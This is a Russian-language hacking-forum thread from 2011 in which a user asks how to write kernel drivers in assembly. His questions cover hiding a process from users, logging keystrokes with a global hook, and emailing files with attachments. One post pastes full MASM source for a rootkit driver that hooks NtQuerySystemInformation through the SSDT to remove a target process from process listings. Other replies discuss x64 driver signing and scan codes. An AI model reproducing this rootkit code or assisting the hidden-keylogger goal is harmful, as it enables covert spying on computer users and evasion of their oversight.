Драйвер режима ядра.Асм

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by DooD, 22 Feb 2011.

  1. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    442
    Reputations:
    288
    решил чуть-чуть разобраться в этом.Почитал статьи на васме,там был простой пример драйвера.Взял тот пример(прога издает звук на системном динамике)откомпилил все норм,запускаю,дальше ничего не происходит.Сразу же пришло в голову что это ось выдергивается(у меня win7 64 битная)проверил драйвер с прогой на виртуалке на ХР все норм.работает,получается причина в 7?и как тогда под 7 дрова такие должны писаться?
     
  2. Vollkorn

    Vollkorn Member

    Joined:
    6 Nov 2010
    Messages:
    86
    Likes Received:
    15
    Reputations:
    -6
    Может дело в том, что у тебя семерка 64битная?
     
  3. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    442
    Reputations:
    288
    ну вот я ж об этом и спрашую,все таки в этом?Хотя 64 битная означает лишь работу с большим кол-вом озу...
     
    #3 DooD, 22 Feb 2011
    Last edited: 22 Feb 2011
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,223
    Reputations:
    455
    а ты что думаешь что 32-х битный драйвер загрузится под 64-х битное ядро?
    Если ты компилил под x64 то натыкай туда отладочных сообщений (DbgPrint)
    и смотри грузится дров или нет. А вообще писать дрова на ASM - это очень плохая идея. Пиши на Си и проблем меньше будет.

    64 битка отличается не только тем что там памяти больше можно юзать, но и тем что там используются дополнительные регистры и вся адресация идет через 64 битные регистры и следовательно при вызове функций в стек помещается адрес возврата не 4 байта а 8 байт. и Адреса функций 64 битные. По этому модули ядра должны быть тоже 64 битными.
    И еще куча всяких изменений, в частности на уровне ядра.
    А то что 32 битные проги пашут на 64 битных, это вся фишка в эмуляции 32 битного режима
     
    #4 slesh, 22 Feb 2011
    Last edited: 22 Feb 2011
  5. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    442
    Reputations:
    288
    Я понял.Ну я си не знаю увы((допустим пусть дров остается 32 битным,в режиме ядра ж юзается native api?тогда такой вопрос: как можно с использованием дрова заныкаться в списке процессов(помню на делфи от ms-rema была библиотека,там такая функция была)можно ссылку если есть такой дров?или хотябы привести примеры функций...или можно другой какойто способ(я имею ввиду без выхода в ring0)?помоему червь conficker как то цеплялся к процессу...может можно как то такое сделать...
     
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,223
    Reputations:
    455
    Ну всё зависит от уровня скрытности и того, от кого прячешься.
    Если тупо от пользователя, то подойдет обычное получение PEPROCESS для следующего и предыдущего процесса и пусть всё в обход тебя. НО любой(даже ленивый) антируткит тебя выдаст сразу. Но и то более менее инфу по этому поводу можно найти для 32 битных систем. Для 64 битных всё практически также, но тока там надо иметь 64 битный вариант PEPROCESS
     
  7. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    442
    Reputations:
    288
    ну ныкаться надо от обычного юзверья,блин да тут наверн хватит процесс обозвать типа scvhost или что то в етом роде...,я просто для себя хотел это делать.Тогда еще такой вопросик(пооффтоплю тут кропаль)прога устанавливает глобальный хук на клаву,нажатия идут в лог,получается она дает лишь английские символы,как то можно отслеживать переключени раскладки и записывать тем языком который выбран?(я конечно делал все лениво,сделал прогу на делфе которая все эти символы заменяет при чтении файла)но хотелось бы знать и это.мне все это на асме нужно,то шо я щас(ну не щас,уже база есть) за него взялся,а на делфе так,мелкий софт делаю или что то подобное.
     
    #7 DooD, 22 Feb 2011
    Last edited: 22 Feb 2011
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,223
    Reputations:
    455
    ты получаешь скорее всего сканкоды клавишь. А в сканкодах нет какогонить конкретного символа. всё зависит от установленного языка. Так что проще наверное определять что за язык установлен и то, каким образом он сменяется. Далее уже при вводе смотреть меняли раскладку или нет.
     
  9. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    442
    Reputations:
    288
    получаю имя клавиши через GetKeyNameTextA то есть пробел в файл пишется как space.вот..ну с раскладкой на асме нехочу заморачиваться,значить буду пользоваться своей прогой...и тогда последний вопрос(наверно)пример отправки почты с аттачем (на ассемблере)(я видел только mapi и без аттача) существует?
     
  10. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,021
    Likes Received:
    1,189
    Reputations:
    327
    под х64 неподписанный дров не поедет никуда
     
  11. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    442
    Reputations:
    288
    нашел вот тут дров один
    Code:
    .386
    .MODEL FLAT, STDCALL
    OPTION CASEMAP:NONE
    
    INCLUDE     include\windows.inc
    
    INCLUDE     include\string.INC
    INCLUDE     include\ntstruc.INC
    INCLUDE     include\ntddk.INC
    INCLUDE     include\ntoskrnl.INC
    INCLUDE     include\IoCtrl.INC
    
    INCLUDELIB  lib\ntoskrnl.lib
    
    ;
    ; structure one can find at ntoskrnl!KeServiceDescriptorTable and at 'KeServiceDescriptorTableShadow'
    ;
    SSDT STRUCT
    	pSSAT              LPVOID  ?      ; System Service Address Table   ( LPVOID[] )
    	Obsolete           DWORD   ?      ; or maybe: API ID base
    	dwAPICount         DWORD   ?
    	pSSPT              LPVOID  ?      ; System Service Parameter Table ( BYTE[] )
    SSDT ENDS
    
    ;
    ; structure being built by the PUSHAD instruction on the stack
    ;
    PUSHA_STRUCT STRUCT 1
    	_EDI               DWORD ?
    	_ESI               DWORD ?
    	_EBP               DWORD ?
    	_ESP               DWORD ?
    	_EBX               DWORD ?
    	_EDX               DWORD ?
    	_ECX               DWORD ?
    	_EAX               DWORD ?
    PUSHA_STRUCT ENDS
    
    ;------------CONST-----------------------------------------------------------------------
    .CONST
    TEXTW szDevPath,           <\Device\INVISIBLEDRVNT/0>
    TEXTW szSymPath,           <\DosDevices\INVISIBLEDRVNT/0>
    
    ;------------DATA------------------------------------------------------------------------
    .DATA
    pDevObj                     PDEVICE_OBJECT 0
    pNQSI                       DD -1                                              ; ptr 2 ntdll!NtQuerySystemInformation
    dwTargetPID                 DD -1
    dwNQSI_NT_ID                DD -1
    pOldNtOsNQSI                DD  0
    
    ;------------CODE------------------------------------------------------------------------
    .CODE
    ASSUME FS : NOTHING
    
    ;
    ; Returns:   -1    = error
    ;            else  = Native API ID
    ;
    ; Args:      pApiEntry = EntryPoint address of a NTDLL routine
    ;
    ; Should look like....
    ; pApiEntry:
    ;            B8 XX XX XX XX        MOV     EAX, XXXXXXXX
    ;            8D 54 24 04           LEA     EDX, [ESP + 004h]
    ;            CD 2E                 INT     02Eh
    ;            C2 YY YY              RET     YYYY
    ;
    NativeApiIdFromApiAddress PROC USES ESI EDI EBX, pApiEntry : LPVOID
    	SUB     EAX, EAX
    	DEC     EAX                                                            ; EAX -> -1 == error
    	
    	; signature check
    	MOV     ESI, pApiEntry
    	LODSB
    	CMP     AL, 0B8h
    	JNZ     @@exit
    	LODSD
    	LODSD
    	CMP     EAX, 00424548Dh
    	JNZ     @@exit
    	LODSW
    	CMP     AX, 02ECDh
    	JNZ     @@exit
    	LODSB
    	CMP     AL, 0C2h
    	JNZ     @@exit
    	
    	; grab NT API index
    	MOV     EAX, pApiEntry
    	MOV     EAX, [EAX + 1]
      @@exit:
    	RET
    NativeApiIdFromApiAddress ENDP
    
    ;
    ; Purpose:      Wipe structure of our process from the information record chain returned by
    ;               NtQuerySystemInformation
    ;
    ; Return type:  void
    ;
    HandleSystemProcessInfoOutput PROC pData
    	MOV     ESI, pData                                                     ; ESI -> info blocks
    	; loop through the SystemProcessInformation blocks and save the address
    	; of our process block (-> EDI)
    	SUB     EDI, EDI                                                       ; EDI will save ptr to our SPI
    	SUB     EBX, EBX                                                       ; EBX will save ptr to block before our SPI
      HSPIO_loop:
      	CMP     DWORD PTR [ESI], 0                                             ; end of blocks reached ?
      	JZ      HSPIO_loop_end
      	MOV     EAX, [ESI].NT4_SYSTEM_PROCESS_INFORMATION.ProcessId
      	CMP     EAX, dwTargetPID
      	JNZ     @F
      	MOV     EDI, ESI                                                       ; we found our SPI block !
      	JMP     HSPIO_loop_end
      @@:
      	; next block
      	MOV     EBX, ESI
      	ADD     ESI, [ESI]                                                     ; ESI -> ptr to next block
      	JMP     HSPIO_loop  	
      HSPIO_loop_end:
    	;  
      	; simply wipe the SPI block of our process by enlarging the upper block
      	;
      	TEST    EDI, EDI
      	JZ      @@exit
      	MOV     ECX, [EDI]                                                     ; ECX == size of target SPI
      	ADD     [EBX], ECX
      @@exit:
    	RET
    HandleSystemProcessInfoOutput ENDP
    
    ;
    ;NTSTATUS NTAPI
    ;NtQuerySystemInformation (SYSTEMINFOCLASS sic,
    ;                          PVOID           pData,
    ;                          DWORD           dSize,
    ;                          PDWORD          pdSize);
    ;
    NtQuerySystemInformationHook:
    	PUSHFD
    	PUSHA
    	; get ptr to argument list
    	LEA     EDI, [ESP + SIZEOF PUSHA_STRUCT + 4 + 4]                       ; EDI -> argument list
    	; call the NT API
    	PUSH    [EDI + 00Ch]                                                   ; push arguments
    	PUSH    [EDI + 008h]                                                   ;
    	PUSH    [EDI + 004h]                                                   ;
    	PUSH    [EDI + 000h]                                                   ;
    	PUSH    @F                                                             ; push RETurn address
    	JMP     [pOldNtOsNQSI]
      @@:
    	MOV     EDX, EAX                                                       ; EDX == call result
    	; handle the call output
    	SUB     EAX, EAX
    	CMP     EDX, EAX                                                       ; STATUS_SUCCESS ?
    	JNZ     @@NQSIH_test_done
    	CMP     DWORD PTR [EDI], 5                                             ; our target query class ?
    	JNZ     @@NQSIH_test_done
    
    	PUSH    [EDI + 004h]
    	CALL    HandleSystemProcessInfoOutput
    
      @@NQSIH_test_done:
            MOV     [ESP].PUSHA_STRUCT._EAX, EDX                                   ; save EDX 2 popad'ed EAX
    	POPA
    	POPFD
    	
    	RET     4 * 4
    
    ;
    ; Purpose:      Hook the targets
    ;
    ; Return type:  void
    ;
    EstablishHook PROC USES ESI EDI EBX
    	; test whether we've all needed information
    	SUB     EAX, EAX
    	DEC     EAX                                                            ; EAX == -1
    	CMP     dwNQSI_NT_ID, EAX
    	JZ      @@exit
    	CMP     dwTargetPID, EAX
    	JZ      @@exit
    	
    	; overwrite NQSI's API address in SSDT
    	MOV     EAX, _KeServiceDescriptorTable
    	MOV     EDI, [EAX]                                                     ; EDI -> ptr 2 SSDT
    	MOV     EDX, dwNQSI_NT_ID                                              ; EDX == NQSI ID
    	MOV     EBX, NtQuerySystemInformationHook
    	MOV     EDI, [EDI].SSDT.pSSAT                                          ; EDI -> Native API addr chain
    	XCHG    EBX, [EDI + 4 * EDX]
    	MOV     pOldNtOsNQSI, EBX                                              ; save old handler
    	
      @@exit:
    	RET
    EstablishHook ENDP
    
    ;
    ; Purpose:      Unhook the locations
    ;
    ; Return type:  void
    ;
    UnhookSystem PROC USES ESI EDI EBX
    
    	SUB     EAX, EAX
    	CMP     pOldNtOsNQSI, EAX
    	JZ      @@exit
    	
    	; rewrite NQSI API address in SSDT
    	MOV     EAX, _KeServiceDescriptorTable
    	MOV     EAX, [EAX]
    	MOV     EAX, [EAX].SSDT.pSSAT
    	MOV     EDX, dwNQSI_NT_ID
    	MOV     EBX, pOldNtOsNQSI
    	MOV     [EAX + EDX * 4], EBX
    	
      @@exit:
    	RET
    UnhookSystem ENDP
    
    ;
    ; Purpose:   Handle device IO requests
    ;
    DriverDispatch PROC USES ESI EDI EBX, pDriverObject, pIrp
    	MOV     EDI, pIrp                                                       ; EDI -> IRP struct
    	ASSUME  EDI : PTR _IRP
    	SUB     EAX, EAX
    	MOV     [EDI].IoStatus.Information, EAX
    	MOV     [EDI].IoStatus.Status, EAX
    	ASSUME  EDI : NOTHING
    	
    	MOV     ESI, (_IRP PTR [EDI]).PCurrentIrpStackLocation			; ESI -> IRP stack
    	ASSUME  ESI : PTR IO_STACK_LOCATION
    	.IF [ESI].MajorFunction == IRP_MJ_DEVICE_CONTROL
    		MOV     EAX, [ESI].DeviceIoControl.IoControlCode		; EAX = DeviceIoControl code
    		.IF EAX == IOC_PROVIDE1
    			MOV     EAX, (_IRP PTR [EDI]).SystemBuffer              ; EAX -> in buffer
    			PUSH    [EAX]
    			PUSH    [EAX]
    			POP     pNQSI
    			CALL    NativeApiIdFromApiAddress
    			MOV     dwNQSI_NT_ID, EAX
    			
    		.ELSEIF EAX == IOC_PROVIDE2
    			MOV     EAX, (_IRP PTR [EDI]).SystemBuffer              ; EAX -> in buffer
    			PUSH    [EAX]
    			POP     dwTargetPID
    			
    		.ELSEIF EAX == IOC_HOOK
    			CALL    EstablishHook
    			
    		.ELSEIF EAX == IOC_UNHOOK
    			CALL    UnhookSystem
    		.ENDIF
    	.ENDIF
    	ASSUME  ESI : NOTHING
    	MOV     EDX, IO_NO_INCREMENT ; special calling 
    	MOV     ECX, pIrp
    	CALL    IoCompleteRequest
    	MOV     EAX, STATUS_SUCCESS
    	RET
    DriverDispatch ENDP
    
    DriverUnload PROC USES EBX ESI EDI, DriverObject
    	LOCAL usSym : UNICODE_STRING
    	
    	; cleanup
    	INVOKE  RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
    	INVOKE  IoDeleteSymbolicLink, ADDR usSym
    	INVOKE  IoDeleteDevice, pDevObj
    	RET
    DriverUnload ENDP
    
    .CODE INIT
    DriverEntry PROC USES EBX ESI EDI, DriverObject, RegPath
    	LOCAL   usDev     : UNICODE_STRING
    	LOCAL   usSym     : UNICODE_STRING
    
    	; create device/symbolic link
    	INVOKE  RtlInitUnicodeString, ADDR usDev, OFFSET szDevPath
    	INVOKE  IoCreateDevice, DriverObject, 0, ADDR usDev, FILE_DEVICE_NULL, 0, FALSE, OFFSET pDevObj
    	OR      EAX, EAX
    	JNZ     @@ExitProcErr
    	INVOKE  RtlInitUnicodeString, ADDR usSym, OFFSET szSymPath
    	INVOKE  IoCreateSymbolicLink, ADDR usSym, ADDR usDev 
    	OR      EAX, EAX
    	JNZ     @@ExitProcErr
    
    	; setup DriverObject
    	MOV     ESI, DriverObject
    	ASSUME  ESI : PTR DRIVER_OBJECT
    	MOV     [ESI].PDISPATCH_IRP_MJ_DEVICE_CONTROL, OFFSET DriverDispatch
    	MOV     [ESI].PDISPATCH_IRP_MJ_CREATE, OFFSET DriverDispatch
    	MOV     [ESI].PDRIVER_UNLOAD, OFFSET DriverUnload
    	ASSUME  ESI : NOTHING
    	
    	MOV     EAX, STATUS_SUCCESS
    @@ExitProc:
    	RET
    	
    @@ExitProcErr:
    	RET
    DriverEntry ENDP
    End DriverEntry
    
    ну честно говоря не оч понятно некоторые моменты,как я понял здесь идет перехват Ntquerysysteminformation но как вызвать ето в моей проге?
     
    #11 DooD, 23 Feb 2011
    Last edited by a moderator: 23 Feb 2011
  12. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,021
    Likes Received:
    1,189
    Reputations:
    327
    не извращайся, а пиши дрова на СИ, благо все на это есть. а холиварщики, думающие что асм есмь все - пускай пишут на асме. и еще раз повторяю, на х64 системе загрузчик дропнет твой драйвер, если он не имеет цифровой подписи.
     
  13. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,021
    Likes Received:
    1,189
    Reputations:
    327
    можно, сканкод то платформо независим (разве что от уровня кейборды)
     
  14. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,173
    Likes Received:
    442
    Reputations:
    288
    да с х64 уже разобрались,без понту из кожи вон лезть,большинство на ХРюше осталось,ну а о почте на асме не подскажешь ниче(как слать письма с аттачем)?просто си я незнаю,ну попробую замаскироваться перхватом zwquerysysteminfromation там вроде с этим проще.
     
Loading...